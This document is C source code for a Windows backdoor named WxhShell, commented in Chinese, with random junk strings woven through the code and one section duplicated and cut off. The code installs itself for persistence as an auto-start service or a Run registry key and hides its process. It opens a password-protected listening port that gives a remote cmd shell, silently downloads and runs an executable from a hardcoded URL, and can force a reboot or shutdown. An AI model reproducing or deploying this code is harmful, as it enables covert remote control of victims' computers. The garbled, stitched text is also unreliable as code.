oQ-I DWORD PebBaseAddress; 3V2"1Ic DWORD AffinityMask; Ng2qu!F7 DWORD BasePriority; 3 cu`U` ULONG UniqueProcessId; Ap=LlZ ULONG InheritedFromUniqueProcessId; eVS6#R]'m } PROCESS_BASIC_INFORMATION; ^ 14U]< ,,OO2EgZ` PROCNTQSIP NtQueryInformationProcess; 82{Lx7pI gh#9< static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -)PQ&[ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /0IvvD!7N f.4r'^ HANDLE hProcess; l~.ae,|7 PROCESS_BASIC_INFORMATION pbi; J4&d6[40 )%I2#Q"Nt- HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E0[ec6^qwY if(NULL == hInst ) return 0; @lRTp BagO0# g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cia'h_w g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D6fry\ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Bvb.N$G 7.`Fe g. if (!NtQueryInformationProcess) return 0; B&3oo F
jsnFX; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~.;+uH<i if(!hProcess) return 0; yPs4S?<s m^I+>Bp/: if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j51Wod<[ I&%{%*y CloseHandle(hProcess); Q]?r&%Y o`,|{K$H hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QQ;<L"VW if(hProcess==NULL) return 0; TrD2:N}dI Z<jio HMODULE hMod; /P { Zo char procName[255]; BWRAz*V unsigned long cbNeeded; oe$&X& HtY0=r if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ad$CHx- Vz_ac
vfk^ CloseHandle(hProcess); RrB)u? _sLSl;/t if(strstr(procName,"services")) return 1; // 以服务启动 =Y!x ~xfoZiIA} return 0; // 注册表启动 "pUqYMB2i } ML eo3
qTxw5.Ai! // 主模块 3>vSKh1z int StartWxhshell(LPSTR lpCmdLine) ]$Ud`<Xnx { vfBIQfH SOCKET wsl; Q5Yy
\M BOOL val=TRUE; &ed&2t`Y int port=0; 4PdJ struct sockaddr_in door; "MS}@NLUW 3%HF" $Gg if(wscfg.ws_autoins) Install(); }MU}-6 4sJM!9eb[ port=atoi(lpCmdLine); F/8="dM iB-h3/ if(port<=0) port=wscfg.ws_port; 0'm$hU} .0ov>4,R WSADATA data; 5l_ >QB if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [te9ui%JS |aWeo.;c if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; `3wzOMgJ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *,x-}%X door.sin_family = AF_INET; 6>L) door.sin_addr.s_addr = inet_addr("127.0.0.1"); /i!3Fr" door.sin_port = htons(port); I| Vyv yLFZo"r if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6I8A[ closesocket(wsl); <xn96|$ return 1; \}:RG^*m } S2APqRg* 1&7~.S;km if(listen(wsl,2) == INVALID_SOCKET) { /Ko{S_3<I closesocket(wsl); D6Q6yNE return 1; 27"M]17) } 6x]x>:8 Wxhshell(wsl); U-]Rm}X\M WSACleanup(); cu|S|]g mQ$a^28=qR return 0; bY@ S[ r0Cc0TMdj } = n>aJ(=Pd ( M$2CL // 以NT服务方式启动 Gd%X> ~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $T#yxx { %)t9b@c!} DWORD status = 0; jIvSjlm I DWORD specificError = 0xfffffff; \gU=B|W 178u4$# b serviceStatus.dwServiceType = SERVICE_WIN32; kO)+%'L!8 serviceStatus.dwCurrentState = SERVICE_START_PENDING; |Q|vCWel{ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !dcGBj serviceStatus.dwWin32ExitCode = 0; 6he (v serviceStatus.dwServiceSpecificExitCode = 0; s7
K](T4 serviceStatus.dwCheckPoint = 0; =Rw-@*#l serviceStatus.dwWaitHint = 0; `i"7; _HoV $~G=Hcl9 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _T^+BUw if (hServiceStatusHandle==0) return; }#bX{?f +`(,1L1 status = GetLastError(); {K,KIj" if (status!=NO_ERROR) Vi:<W0: { 6xC$R q serviceStatus.dwCurrentState = SERVICE_STOPPED; zZh\e,* serviceStatus.dwCheckPoint = 0; OS{j5o serviceStatus.dwWaitHint = 0; um5n3=K serviceStatus.dwWin32ExitCode = status; bMjE@S& serviceStatus.dwServiceSpecificExitCode = specificError; $%GW~|S\C SetServiceStatus(hServiceStatusHandle, &serviceStatus); J;R1OJs S return; ]A.tauSW } xlHC?d0} 9{(A- serviceStatus.dwCurrentState = SERVICE_RUNNING; ^6?)EM# serviceStatus.dwCheckPoint = 0; Wf>P[6 serviceStatus.dwWaitHint = 0; ==^9_a^ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M[}aQWT$v } (Z)F6sZ`8 vi8)U]6 // 处理NT服务事件,比如:启动、停止 /l.ox.4z# VOID WINAPI NTServiceHandler(DWORD fdwControl) @TqqF:c7 { EZw<)Q switch(fdwControl) +m+v1(@ { 3{/Y&/\"'^ case SERVICE_CONTROL_STOP: %]iE(!>3oy serviceStatus.dwWin32ExitCode = 0; ]A]EED.ZH serviceStatus.dwCurrentState = SERVICE_STOPPED; Kc,=J?Ob serviceStatus.dwCheckPoint = 0; KhFw%Z0s< serviceStatus.dwWaitHint = 0; Q[Xh{B { r,FPTf
SetServiceStatus(hServiceStatusHandle, &serviceStatus); aZBS!X } LagHzCB return; `(Eiu$h6V- case SERVICE_CONTROL_PAUSE: kbcqUE serviceStatus.dwCurrentState = SERVICE_PAUSED; $T-Pl57 break; %fH&UFby case SERVICE_CONTROL_CONTINUE: NAnccB D!{ serviceStatus.dwCurrentState = SERVICE_RUNNING; @5tW*:s break; 'G>gNq case SERVICE_CONTROL_INTERROGATE: ynQ+yW74Z break; _f1~r^(/T0 }; O3];1ud SetServiceStatus(hServiceStatusHandle, &serviceStatus); }s>.Fh } ?mME^?x
Mu POl_chq // 标准应用程序主函数 Dqz9NB int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QY}1i .f { 6upCL:A~r Z+EN]02| // 获取操作系统版本 kE`V@F OsIsNt=GetOsVer(); 5+yT{,(5 GetModuleFileName(NULL,ExeFile,MAX_PATH); 8-.jf "%[a Wb // 从命令行安装 I4RUXi 5 if(strpbrk(lpCmdLine,"iI")) Install(); Ku3/xcu:My "gQA|NHwV // 下载执行文件 yG~7Xo5 if(wscfg.ws_downexe) { FcI ZG _ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Of?3|I3 l WinExec(wscfg.ws_filenam,SW_HIDE); Uk0Fo(HY } =E~)svl6g G~$[(Fhk if(!OsIsNt) { L4) // 如果时win9x,隐藏进程并且设置为注册表启动 1O@y
>cV HideProc(); Duh[(r_ StartWxhshell(lpCmdLine); Y[p } q?TI(J+/ else vf-cx\y7 if(StartFromService()) <>I4wqqb // 以服务方式启动 xmp^`^v* StartServiceCtrlDispatcher(DispatchTable);
wz1fl#WU else DI,8y"!5 // 普通方式启动 s^6"qhTa StartWxhshell(lpCmdLine); hO H
DXc" U?W?VEOO!7 return 0; 8*\PWl } ?V>{3
ek9Y9eJ" AC& }8w[>u }_GI%+t =========================================== KH_~DZU*5 Z<M?_<3 WiBO8N,%` 9EI Oa/* klON6<w %"{jNC? " o n+:{ad 6Q}WX[| tQ #include <stdio.h> T#:n7$M|?A #include <string.h> 8&2W^f5 #include <windows.h> F `cuV #include <winsock2.h> XZ1oV?Z4 #include <winsvc.h> pipO,n #include <urlmon.h> RV{'[8gM J~,Ny_L #pragma comment (lib, "Ws2_32.lib") U5!T-o;3} #pragma comment (lib, "urlmon.lib") ,4`=gKn {T2=bK~ #define MAX_USER 100 // 最大客户端连接数 OqNtTk+ #define BUF_SOCK 200 // sock buffer |y}iOI #define KEY_BUFF 255 // 输入 buffer }k7t#O nJ{vO{N #define REBOOT 0 // 重启 2zQ62t} #define SHUTDOWN 1 // 关机 AFN"#M ;kv/(veQ1< #define DEF_PORT 5000 // 监听端口
W!.vP~ > E Qn4+ #define REG_LEN 16 // 注册表键长度 qo^PS #define SVC_LEN 80 // NT服务名长度 N~]
4,~ Aq~}<qkIF+ // 从dll定义API ~[H+,+XLY+ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D Xjw" ^x typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d=~-8]%\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $wq[W,'#L typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o{n)w6P{R, +T|M U // wxhshell配置信息 tITx+i struct WSCFG { pY T^Ug int ws_port; // 监听端口 y53f73Cg char ws_passstr[REG_LEN]; // 口令 Rx\.x? & int ws_autoins; // 安装标记, 1=yes 0=no kafRuO~$ char ws_regname[REG_LEN]; // 注册表键名 k.MAX8 char ws_svcname[REG_LEN]; // 服务名 byrK``f char ws_svcdisp[SVC_LEN]; // 服务显示名 X_tc\}I] char ws_svcdesc[SVC_LEN]; // 服务描述信息 R<-u`uXnP char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hnf7Q l} int ws_downexe; // 下载执行标记, 1=yes 0=no zVL"$ ) char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d \[cFe1d char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,k=1'7d h'D-e5i }; G,]%dZHe W:z?w2{VI( // default Wxhshell configuration Kx[u9MD struct WSCFG wscfg={DEF_PORT, 14LOeo5O "xuhuanlingzhe", %n7mN]) 1, YN<:k
Wu "Wxhshell", BEfp3|Stb "Wxhshell", @2HNYW) "WxhShell Service", /-_<RQ "Wrsky Windows CmdShell Service", oI/jGyY; "Please Input Your Password: ", mxxuD"5 1, nGvWlx "http://www.wrsky.com/wxhshell.exe", n@"h^- "Wxhshell.exe" =%UX"K` }; GLIe8T*ht `tZ-8f // 消息定义模块 XNm%O char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `VB]4i}u char *msg_ws_prompt="\n\r? for help\n\r#>"; fsr0E=nV char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }>|!Mf]W?R char *msg_ws_ext="\n\rExit."; @mbR I0 char *msg_ws_end="\n\rQuit."; _#2AdhCu char *msg_ws_boot="\n\rReboot..."; l[)ZEEP char *msg_ws_poff="\n\rShutdown...";
equTKM char *msg_ws_down="\n\rSave to "; y66V`,e0 -55Pvg0ND char *msg_ws_err="\n\rErr!"; E$w2SQ char *msg_ws_ok="\n\rOK!"; $2?10}mrx /6$8djw char ExeFile[MAX_PATH]; 4jyDM68i int nUser = 0; fNkN HANDLE handles[MAX_USER]; j!oD9&W4~ int OsIsNt; G{8> SW^/\cJ^ SERVICE_STATUS serviceStatus;
S@N:Cj SERVICE_STATUS_HANDLE hServiceStatusHandle; GdxMHnn= 2d`:lk%\ // 函数声明 fCq int Install(void); f-!A4eKe int Uninstall(void); Lh"!Z int DownloadFile(char *sURL, SOCKET wsh); 0!^vQ int Boot(int flag); e{8j(` (;# void HideProc(void); Xw|t.0 int GetOsVer(void);
YjV-70' int Wxhshell(SOCKET wsl); +Je(]b@ void TalkWithClient(void *cs); :=I@<@82W int CmdShell(SOCKET sock); KG5h$eM' int StartFromService(void); (zm5
4
Vm int StartWxhshell(LPSTR lpCmdLine); lQnl6j ]B;\?Tim VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BgzER[g|q{ VOID WINAPI NTServiceHandler( DWORD fdwControl ); wGXnS"L! x9c/;Q&m // 数据结构和表定义 R-8/BTls7 SERVICE_TABLE_ENTRY DispatchTable[] = d_0r { axRzn:f {wscfg.ws_svcname, NTServiceMain}, L;n2,b {NULL, NULL} cvf@B_iN9 }; /Ww_fY '_~X(izc // 自我安装 5g{L
-8XwI int Install(void) ;U
+;NsCH { T%%+v#+ char svExeFile[MAX_PATH]; E%f;Z7G HKEY key; ?Q~6\xA strcpy(svExeFile,ExeFile); q 16jL,i :oH~{EQ // 如果是win9x系统,修改注册表设为自启动 ?H c~ 3 if(!OsIsNt) { gZ5E%']sT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s[V$fvW RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nbnbG0r: RegCloseKey(key); V7zF5=w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $uA?c&
e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H?dmNwkPY RegCloseKey(key); v}=3 return 0; FN#6pM']| } 5aF03+ko } > n~l\
fC } d2Z kchf else { AC=/BU3<yc He)<S?X-6 // 如果是NT以上系统,安装为系统服务 Ek [V A\G SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <&7KcvBn"4 if (schSCManager!=0) ;CU<\ { @quNVx(y SC_HANDLE schService = CreateService $J/Z~(=JT ( nt,tM/ schSCManager, hcw)qB,s wscfg.ws_svcname, ~RQ6DG^ wscfg.ws_svcdisp, c2}?[\U] SERVICE_ALL_ACCESS, &^ sgR$m SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `?Pk~7 SERVICE_AUTO_START, |~mi6 lJ6 SERVICE_ERROR_NORMAL, {emO=@CP svExeFile, KzRw)P NULL, x%ZgLvdp, NULL, +Y!9)~f}7X NULL, ta>:iQa NULL, pV:c`1\` NULL mPNT*pAO ); D nA}!s if (schService!=0) Q 'R@'W9 { IqK??KSC CloseServiceHandle(schService);
* P_
3A:_ CloseServiceHandle(schSCManager); .:tAZZ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [>P@3t(/ strcat(svExeFile,wscfg.ws_svcname); n*6 b*fl if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;d1\2H RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #vi `2F RegCloseKey(key); @O}%sjC1 return 0; >]q{vKCAP } Kk2PWJ7 } ylF%6!V}4V CloseServiceHandle(schSCManager); JcEPwF. } t\nYUL-H } _94|^ UY*3b<F} return 1; o5gt`H" } sQrP,:=r# f&glY`s# // 自我卸载 *TY?*H int Uninstall(void) 1hj']#vBu { ]}2+yK HKEY key; ^PIUA' DVxW2J if(!OsIsNt) { `_C4L=q" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z@fMU2e=Z RegDeleteValue(key,wscfg.ws_regname); ^9zL[R RegCloseKey(key); v*'dA^Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Al="ss&2 RegDeleteValue(key,wscfg.ws_regname); 7A|n*'[T> RegCloseKey(key); UD`bK a`E return 0; E(Tvj\9 } oJJ2y } 4QODuyl2H } X>^St&B}fC else { ( /{Wu:e E7-il;`cKn SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A{mv[x-XN if (schSCManager!=0) uh'{+E;= { a#t:+iw SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4$LVl if (schService!=0) t<5$85Y~ { ?zW4|0 if(DeleteService(schService)!=0) { ?yop#tjCbY CloseServiceHandle(schService); .6Tan2[% CloseServiceHandle(schSCManager); CAdq oCz| return 0; Zq7Y('=`t@ } f0+)%gO{ CloseServiceHandle(schService); sJ[I< } $d2mcwh\ CloseServiceHandle(schSCManager); e E:J
} x5[wF6A } 555j@ KECo7i= e return 1; Hd
H, } tQ=P.14>: "J|{'k` // 从指定url下载文件 r w(EI,G int DownloadFile(char *sURL, SOCKET wsh) d>[=] { ' jAX&7G` HRESULT hr; , TL8` char seps[]= "/"; .YYfba#{
char *token; m{T:<:q~ char *file; J:g4ES-/ char myURL[MAX_PATH]; *9J>3 char myFILE[MAX_PATH]; 6v(?Lr`D KQGdV{VFs strcpy(myURL,sURL); aQzDOeTi token=strtok(myURL,seps); jpijnz{M while(token!=NULL) LsB|}_j7 { `5da file=token; _Q XC5i token=strtok(NULL,seps); Msj(>U&}+ } Z!HQ|')N5 !4Q0 GetCurrentDirectory(MAX_PATH,myFILE); Egy#_ RT{ strcat(myFILE, "\\"); *?Hc8y-dG, strcat(myFILE, file); b ]A9$- send(wsh,myFILE,strlen(myFILE),0); :(7icHa send(wsh,"...",3,0); ->"Z1 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yhTC?sf< if(hr==S_OK) #6okd*^ return 0; T$w`=7 else FYe#x]ue return 1; \PU7,*2 Lt'FA } _=Y?' gHH p;nRxi7' // 系统电源模块 6l Suzu int Boot(int flag) Ht`kmk;I) { Twq/Y07M HANDLE hToken; `IC2}IiF TOKEN_PRIVILEGES tkp; 2g0_[$[m *I)F5M if(OsIsNt) { PCqE9B)l OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Pi/V3D)B LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #!yW)RG tkp.PrivilegeCount = 1; WR:I2-1 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pc+'/~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *3R3C+
L if(flag==REBOOT) { X}fu $2 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [N=v=J9 return 0; PNgdWf3 } 7cMHzhk^ else { UiE 1TD{ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [H4)p ,R return 0; &m5FYm\ } .X.,.vHx } j3t,Cx else { U*Sjb%
Qb if(flag==REBOOT) { *xV if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xq@_'
3X return 0; Bx" eX>A8 } 9]4 W else { BJ*8mKi h if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;${_eab] return 0; ehTRw8"R } qK-\`m }
Neb") VRQD
return 1; 9er0Ww.d } !kQJ6U Eb~e=){ // win9x进程隐藏模块 EvGKcu void HideProc(void) Fi8#r)G. { n4A#T#D!t3 ]_js-+w6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '7yVvd if ( hKernel != NULL ) J#) %{k_ { BenUyv1d pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |T+YC[T#v ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f?BApm FreeLibrary(hKernel); :8LK}TY7 } MZWicfUy XGcl9FaO} return; aB ^`3J } #>_5PdO dw YGhhm // 获取操作系统版本 IfzW%UL int GetOsVer(void) AYHefAF<w { 4NDT5sL OSVERSIONINFO winfo; ;y]BXW&l& winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B!AJ* GetVersionEx(&winfo); j<PpCL_8% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L
IN$Y return 1; |_u|Td(n else Wu@v%!0 return 0; '9tV-whw } Lgrpy r 3FUddF' // 客户端句柄模块 @$R^-_m int Wxhshell(SOCKET wsl) jn._4TQ*} { U}c05GiQw SOCKET wsh; 9D{p^hd struct sockaddr_in client; xz*MFoE DWORD myID; E6+ 6 ~yu\vqN while(nUser<MAX_USER) Q7(I' { d37|o3oC int nSize=sizeof(client); ,r,$x4* wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I!u fw\[ if(wsh==INVALID_SOCKET) return 1; UI_u:a9Q/ 19*D*dkBR handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @WnW
@'*F if(handles[nUser]==0) I.{%e;Reg closesocket(wsh); H|s,;1# else xF8 8'p' nUser++; r%FfJM@! } qrkJ: WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z ItS(oJ. d_)VeuE2 return 0; m:]60koz]o } %3es+A@ H{ +[
,l // 关闭 socket g;\_MbfP void CloseIt(SOCKET wsh) Ybp';8V { nRh.;G closesocket(wsh); ;3
/*Z5p nUser--; {8w,{p` ExitThread(0); }HxC~J" } [KNA5(Y0 n7iIY4gZ // 客户端请求句柄 v 0D@`C void TalkWithClient(void *cs) ?h3t"9 { * %w8bB 3u&)6C?YM SOCKET wsh=(SOCKET)cs; 8~:s$~&r char pwd[SVC_LEN]; _g%h:G&^ char cmd[KEY_BUFF]; Qkx}A7sK char chr[1]; DNGj8 1'c int i,j; ITf4PxF "q3W&@ while (nUser < MAX_USER) { /5j]laYK) NzG] nsw if(wscfg.ws_passstr) { xMD]b if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f#|
wb~ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DUWSY?^c //ZeroMemory(pwd,KEY_BUFF); !"s~dL,7 i=0; }=
(|3\v while(i<SVC_LEN) { Bw4 _hlm ]Aa.= // 设置超时 V[avV*;3i fd_set FdRead; /tu\q struct timeval TimeOut; mecm,xwm FD_ZERO(&FdRead); IpKpj"eoLy FD_SET(wsh,&FdRead); E2( {[J TimeOut.tv_sec=8; fe+2U|y TimeOut.tv_usec=0; Ue!~|: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "XWO#,Ue if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,xuA%CF-S m
4V0e~] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T}y@ a^# pwd=chr[0]; `m=u2kxY if(chr[0]==0xd || chr[0]==0xa) { 0)E`6s#M pwd=0; "Is0:au+?} break; #uCE0}N@ } d
D;r35h= i++; .;jp2^ } 7N}==T89[ %TS8 9/ // 如果是非法用户,关闭 socket /r Z`e'} if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uYAMW{AT } k C=h[<' t{o&$s93 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N^xk.O_TO send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |QxT"`rT
v>E3|w% while(1) { prCr"y` M lt{yo\ ZeroMemory(cmd,KEY_BUFF); -|YDKcL 7MhN>a;A\ // 自动支持客户端 telnet标准 l_0/g^( j=0; 0mY KzJi while(j<KEY_BUFF) { m1,yf*U if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CT#u+]T cmd[j]=chr[0]; b,o@m if(chr[0]==0xa || chr[0]==0xd) { *;X,yEK[ cmd[j]=0; ^K`Vqo break; MWn+e } `cn}}1Lg] j++; m5KAKpCR, } v&}^8j pjrzoMF // 下载文件 Z9k"&F~u} if(strstr(cmd,"http://")) { ,n\'dMNii send(wsh,msg_ws_down,strlen(msg_ws_down),0); /I@Dv? if(DownloadFile(cmd,wsh)) y)#=8oci send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1-:{&! else x>*#cOVz;C send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )]P%= } ^y p`<= else { -:NFF' fd /?x^Z switch(cmd[0]) { oH]"F /IyCvo // 帮助 \o=YsJ8U case '?': { gRQV)8uh send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *hZ{> break; t?6_^ 08 } SRBQ"X[M2 // 安装 ("5Eed case 'i': { 4M{]YZMw8 if(Install()) OF/DI)j3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); F` "bMS else N9jSiRJ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CHo(:A.U> break; Gp5[H}8K } {c\KiWN // 卸载 04wO9L; case 'r': { jo^+ if(Uninstall()) ds|L'7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7PG|e# else 'H.,S_v1x send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I@9[ break; .GH#`j } ^,WXvOy // 显示 wxhshell 所在路径 }!n90
9L case 'p': { |(6H)S]$ char svExeFile[MAX_PATH]; Wi3St`$ strcpy(svExeFile,"\n\r"); (TQhO$, strcat(svExeFile,ExeFile); [ yf&]0 send(wsh,svExeFile,strlen(svExeFile),0); P@pJ^5Jf break; Q\k|pg? } B9Y*'hmI // 重启 _8eN^oc% case 'b': { wS%aN@ay3 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pXBlTZf if(Boot(REBOOT)) r"aJ&~8::W send(wsh,msg_ws_err,strlen(msg_ws_err),0); w=MiJr#3^ else { #k*P/I~ closesocket(wsh); )Fw{|7@N ExitThread(0); #mK?K } SB}0u=5 break; (iO8[ } !1<?ddH6 // 关机 g Xi&
S case 'd': { lX*IEAc send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); etk@ j3# if(Boot(SHUTDOWN)) J0Ik@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;4]
s P^+ else { '}|sRuftb closesocket(wsh); k,UezuV ExitThread(0); h%yw'?s } Z+ ?V10$ break; n0*a. } }jWZqIqj // 获取shell ?
pkg1F7 case 's': { ]BiLLDz( CmdShell(wsh); 7ga|4j3% closesocket(wsh); j9XRC9
ExitThread(0); AtU!8Z break; 9=wt9` ? } B}y`E
< // 退出 /Q8glLnM case 'x': { =|_{J"sv send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $Z8=QlG> CloseIt(wsh); RO10$1IW.2 break;
{Hp*BE
} 5C^oqUZ // 离开 +zz\* case 'q': { sMhUVc4 send(wsh,msg_ws_end,strlen(msg_ws_end),0); l0%qj(4`6& closesocket(wsh); ;Fi(zl WSACleanup(); A^9RGz4= exit(1); j>KJgSs]&\ break; @! gJOy } 1aQR9zg% } OE4hGxG } =ZaTD-%id ,( ?q // 提示信息 jZX2)# a! if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yK #9)W- } |*w}bT(PfR } ",hPy[k ,iQRf@#W_b return; !N@d51T=N } {d%% nK~ ? !dy // shell模块句柄 {M.OOEcIp int CmdShell(SOCKET sock) 0F495'*A { ^=lh|C\# STARTUPINFO si; { vf"`#Q9 ZeroMemory(&si,sizeof(si)); Wt%+q{ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Hlr[x si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /2n-q_ PROCESS_INFORMATION ProcessInfo; *QIlh""6 char cmdline[]="cmd"; 1zDat@<H CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *x;&fyR return 0; Y$%z]i5 } b85r=tm TBGN',, // 自身启动模式 8-2e4^
g( int StartFromService(void) m4<5jC`-M { ds*N1[
* typedef struct E,/<; { W@vt6v DWORD ExitStatus; M$9?{8m DWORD PebBaseAddress; vIL'&~C\y DWORD AffinityMask; -Dx_:k|k DWORD BasePriority; kTjx. ULONG UniqueProcessId; Fbpe`pS+V ULONG InheritedFromUniqueProcessId; G=.vo3 } PROCESS_BASIC_INFORMATION; !6R;fD#^s +4N7 _Y PROCNTQSIP NtQueryInformationProcess; #%;QcDXRe &7i o/d\/ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; NM`5hd{ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bI_6';hq! C3XB'CL6 HANDLE hProcess; Q||vU PROCESS_BASIC_INFORMATION pbi; |[RoR hLqRF4>L HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V+A9.KoI if(NULL == hInst ) return 0; !>,\KxnM iB]xYfQ&@V g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kgq"b) g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1kd\Fq^z$ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rkF>c uX!5G:x] if (!NtQueryInformationProcess) return 0; b6mSPH@ &y7<h>z hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hnk,U:7} if(!hProcess) return 0; BrHw02G Q|DVB if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, 